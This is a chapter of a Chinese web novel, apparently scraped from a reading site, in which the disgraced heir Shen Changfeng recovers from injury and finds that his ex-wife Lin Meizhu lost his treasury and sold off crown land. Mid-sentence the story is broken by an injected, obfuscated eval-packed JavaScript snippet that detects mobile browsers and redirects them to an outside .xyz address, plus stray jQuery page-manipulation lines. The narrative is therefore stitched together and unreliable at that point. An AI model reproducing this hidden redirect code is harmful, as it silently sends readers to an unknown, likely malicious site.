京城今年的冬日,比常时早了许多。北风呼啸,风雪飘摇,道路难行,不少人选择闭门不出,然而这并未妨碍好几件大事在坊间疯传起来。
其一便是定北王府世子沈长风与成婚未及一年的妻子林媚珠和离。众人对此倒是并不觉得意外,毕竟从一开始除了皇帝,没人看好这桩亲事。
大魏子民知晓,当今天子没别的喜爱,独爱作氤氲使者,哪家儿郎与哪家闺秀看对了眼,往往都逃不出皇帝的法眼,经由天子赐婚的眷侣婚后生活都十分甜蜜,皇帝本人对此十分得意,自诩为人间月老。然则沈长风这一出无疑狠狠打了皇帝的脸。据说天子郁闷得不行,将沈仲达抓去好一番数落,训他教子无方。
而后回京的李婕宜做了一件大事,她竟递呈了一份请罪折子,其中罗列了沈长风各种罪证,请皇帝将褫夺其爵位!
想来这次天子也是动了真怒,命三司会审,以骄纵专横为罪名,大手一挥将沈长风贬为了庶人!
众人还未从这则消息中缓过来,另一件更让人震惊的消息紧随而至。
李婕宜找回了武定侯李明哲长子、宋九思的亲外甥李临渊!更巧的是,李临渊竟还是新登科的探花郎、林媚珠之义兄初七!
宋九思之于李正宣,亦师亦友,李明哲亦是其生死之交,李正宣欣喜若狂,即刻召初七觐见。皇帝打量着那张酷似先师的脸,情难自已,泪下沾襟,问起初七先前经历,得知他尚未成家,才要开口,李婕宜在一侧咳了声,提起想让初七兼祧两姓之事。
多年前宋李两家的悲惨遭遇重新引起了民众的注意,初七顺势提出彻查李家被报复一案。李婕宜一直觉得李家当年被报复一事存在疑点,那些倭寇似乎对李家行走路线了如指掌,只是当时戾太子为了平息众怒,草草结案,等她回京时关键人证物证已不再齐全,她身份敏感,提出翻案无疑是在给皇室泼黑水,但由初七提出,就十分名正言顺了。
众人对李家的遭遇十分同情,且初七还是宋家后人,一时间,初七成了京城众星捧月的存在。
每日上值,即便上一秒上峰还在发脾气,转脸和初七说话时语气都不由放轻几分。他总能收到来自同僚母亲或妻女送来的各种吃食与新制衣裳,最后因为实在太多了而不得不广发告帖请求大家别再送了。他收到许多邀约,不过那些人多半是无功而返,因为下朝后皇帝和长公主总喜欢唤他一道进膳,不舍别离,为此,初七归还本家认祖归宗的日子还得往后稍稍。回到下榻的居所,也总还有许多人拎着自家栽种的瓜果、抱着母鸡牵着牛羊来见初七。这些人里,或是受李明哲与宋令仪保护的沿海百姓,亦有跟随宋九思征战沙场的宋家军亲属。
初七这才知道,其实还有许多人记得。一直有人记得他们。
此等盛况沈长风自然无缘得见,他昏睡了五日,那几日太医们抓阄要去请王府准备身后事,然而看到拄着刀阴沉着脸坐在清晖堂的沈仲达,又畏缩着退了回去。
等到沈长风完全清醒过来,已是半月之后了。
清晖堂,一个面生丫鬟在帘后探头探脑,唯唯诺诺道:“大郎,药好了。”
没听到回应,丫鬟轻轻掀起帘帐,浓重药味夹带着血腥味扑面而来,又闷又臭。床榻上直挺挺躺着一条人,青白脸皮上遍布着黑紫的疤痕,嘴唇并眼皮紧紧阖着,身上看不见呼吸起伏的痕迹,全然没有半点活人气息。
丫鬟被吓得心慌,哆嗦着手去探他的鼻息,冷不丁床上的人忽地睁开眼来,泛着寒光的黑眸盯着她不放,丫鬟一阵胆寒,手上的药碗药汁晃晃荡荡,哭丧着脸说:“大郎,该喝药哩。”
沈长风醒来后得知自己的世子之位被褫夺后无甚反应,旁人可能会觉得李婕宜说的那些话是气话,但沈长风从不怀疑其真伪,李婕宜说得出做得到,否则她就不是李婕宜了,但那并不代表他不在乎,这声称呼真是直戳心窝子,他恶声恶气掀翻药碗:“滚出去!”
没一会儿,帘后又传来窸窸窣窣的声音,沈长风心烦意乱,当即眉头一簇,一把抓起绣枕就要往外掼去,正要发作,忽听到有人轻轻唤了声:“郎君醒了?”
沈长风扔掷动作顿了顿,又睡了回去,双手搭在小腹,又恢复了死人样,嘴唇翕动着说:“没。”
沈总管长叹一声,他知道沈长风与李婕宜不对付,但他没想到这件事竟会闹得这般大。
沈总管掀起帘帐,望着沈长风要死不活的模样,斟酌道:“要说小的也不该来搅扰郎君歇息,只是事关世子妃……呃,林姑娘……”
沈长风蓦地睁开眼,朝他望来。
沈总管佯装没看到对面着紧的模样,缓缓道来:“刑部的人奉旨来清点郎君的私帑库房,收回金印蟒服等物,只是之前一直是少夫人在打点库房,其中款项小的也不是很清楚,恐怕郎君要出去与刑部来人分说核对。”
虽说沈长风现下是庶人一个,然而毕竟还在王府内,刑部的人也给沈仲达几分薄面,即使是抄家也是客客气气地抄家。
沈长风没说好,也没说不好,双眼定定望着花团锦簇的麒麟送子承尘,也不知道在想什么。
“若是郎君身子不适,卑职与人讲一声,想必他们也不敢乱来。”沈总管瞄了一眼,状似无意补了一句,“不过要是有什么不对的地方,刑部的人或许会找林姑娘核实……”
沈长风掀开了被褥,沈总管轻轻松了口气:“卑职去将木轮椅推来。”
沈长风脸色肉眼可见地变黑,哑着嗓子道:“我自己能走!”
沈总管能让他答应走出这扇门就阿弥陀佛了,哪还敢多言,哎了一声,退到了一侧。
沈长风躺了十几日,即便是最简单的坐起躺下两个动作也能让他疼得直嘶凉气,此时扶着床柱起身,眼黑耳鸣,痛得脑门飚出涔涔冷汗,连沈总管在旁嗡嗡叫唤也没听见。
那木柱捏得碦吱作响,好一阵才停止痛苦呻吟。
沈长风尝试松开手,方走出一步就重重摔了下来,沈总管就在边上候着,连忙将人搀住,奈何沈长风身高腿长重得要命,沈总管一下没扶稳,还带着人踢翻了床头高脚小方桌,药瓶药碗茶盏等物兵兵乓乓地滚落在地,药汁茶水泼洒一地,两人跌坐在地上,衣裳全都湿了,真是好不狼狈。
沈总管觉得老腰都要被摔折了,好容易将人扶了起来,语重心长道:“小的扶着您过去吧?”
但最终沈长风还是没让人扶,他气急了将那床柱子直接掰断了,拿着正称手,权当竹杖用了。
清晖堂距离库房并不远,然而刑部那几名官吏等了半天都没见到人影,哈欠连天时忽看见一个浑身缠满白布条的怪物出现在假山后面,只见那怪物呼哧呼哧喘着粗气,脸上青红交加,血痕斑驳,最可怕是那双眼睛,怒目圆瞪,眼球突出血红一片,像是夜叉阎罗来索命一般。
离得最远的一个白胖小吏最先反应过来,怕极了会被认出来忙低下头,低声道:“别看了,别看了!”
其余人听了周二提醒才意识到这头怪物乃是沈长风,虽说他没了爵位,但他的恶名在外,即便受了伤还是没人敢小觑,说知道他发起狠来会不会将他们宰了泄愤?
倘若他们再认真看看就能发现,沈长风以这样的速度移动的话,能在他们孙辈出生前追上他们都是好的了。
几名官吏看见人来了,便开库清点财物,皂吏按着名录一一将物什搬走,一挪那装着银两的箱匣,觉得不吃力,欸了声:“不对啊,怎么屁轻屁轻的?”
众吏狐疑,围将过来,这箱笼的银两照说应有一两百斤重,怎地会这般轻?打开箱笼一看,面上那层银锭还是好的,往下一掏,竟全是秸秆棉絮之物!
几名官吏更觉古怪,取来账本一对,原是前些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594906|160180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时间这私帑库房的银子都拿去做营生了,林媚珠开了十几件铺子,有客栈酒楼、有玉料布匹铺子、亦有药材胭脂铺子,而这些铺子进项无一例外都是严重亏损,林林总总加起来,竟赔了三千两!
这么大一笔数目!不到两个月的时间!竟全亏了!这也太能亏了吧!
可观王府众人反应,他们对此分明是不知情的!
沈长风听着左右念着账本,回想起林媚珠秉烛翻看账本眼神闪烁的模样,原来那时候她在心虚啊?他忽然放声大笑,笑得众人一头雾水。
这段时间林媚珠就和初七一块在同一间客栈下榻,周二也是见过她的,此时不禁暗自咂舌:没想到十一看上去柔柔弱弱的,下手这般狠啊?她这般戏耍这个活阎王,会不会惹祸上身?
沈长风笑得五脏六腑都在颠着疼,缓了几口气,觉得又有些别的东西在挠着内心最柔软的地方,又酸又痒的,他的眼神慢慢柔和下来,有些落寞有些怀念道:“她好聪明啊。”
沈总管愁眉苦脸的,跟着颔首,反应过来沈长风说了什么,无奈苦笑又点了一下头。怎么不算聪明呢?沈总管知道那些铺子地段好人流大,生意红火,是绝不能亏本的。林媚珠能瞒着这么多人神不知鬼不觉地将沈长风名下财物偷了干净,确实挺聪明的。
假使沈长风听到这话,肯定会觉得不对,妻子拿丈夫的东西,怎么能叫偷呢?
即便她不拿,他也是要送她的,人没了,这些身外之物也没意思了,倘若这些黄白之物能让她展颜一笑,他心中愧疚亦可稍减几分。
沈长风坐在藤椅上慢慢伸长了腿,仰面躺下,勾起嘴角,沐浴在斜阳的脸甚至有几分惬意,他与有荣焉喃喃自语:“她真的好聪明啊。真不愧是我妻。”
也没人敢提醒他这话的不对。周二觉得好牙酸,又疑心他是不是摔坏了脑袋。
那几名官吏兴冲冲地来,蔫巴巴地怀揣着几十两银子并几个装着衣裳印信的零落箱笼走。
沈长风晒了会太阳,脸上有了些血色,只是表情仍淡淡的。
王府外有人吵了很久,似乎有人打起来了。但他始终两耳不闻窗外事,沈总管火烧眉毛般跑了几趟也没见他有过问的意思。
“郎君,玉仙楼、八仙楼、蓬莱阁……都派人来讨银子了,这是他们递来的账帖。”
从前沈长风在外吃酒用饭从就没人向他要过银子,多是别人抢着给他结账的,如今失了爵位,他欠下的钱款雨后春笋般冒了出来,他一夜之间欠下一屁股巨款,尽管好些地名他甚至听都没听过。
沈长风眼皮不动一下:“给他们便是。”
话音刚落,想起来自己是穷光蛋一个了,又说:“打发他们走,会有人贿赂我的……”又忽然想起自己丢了官职,默了默,问:“东库房那边……?”
沈总管道:“王爷说数目太大,要用东库房的银子,要请示长公主。”
沈长风嗯了声,那便是没有了。
沈总管觉得现下即便是天塌下来,沈长风还会说正好缺个棺材板当棉被盖了,他浑身散发破罐子破摔的淡淡死人味道。
沈总管脸上讪讪的,“护国寺也来人了,问世子什么时候给佛像重塑金身。”
“其余的倒也还能敷衍拖延数日,就是有个盐商说自己受人诓骗买下了西山猎场,您知道的,那猎场早年被皇家收了回去,早不是咱们的了,他闹着要咱们赔款,不然就得告官……”
沈总管不由叹息:不用想也知道这西山猎场是谁转卖出去的。只是从前世子妃一向待人亲和,怎地到了世子这里,就做得这般绝情呢?
私自赁卖皇庄土地是一等一的罪名,严重者可是要受凌迟之刑的,外头不知多少人等着找沈长风痛处,若是闹到官府,那些政敌不得将他往死里整?
再看沈长风,果然已缓缓蹙紧了眉头。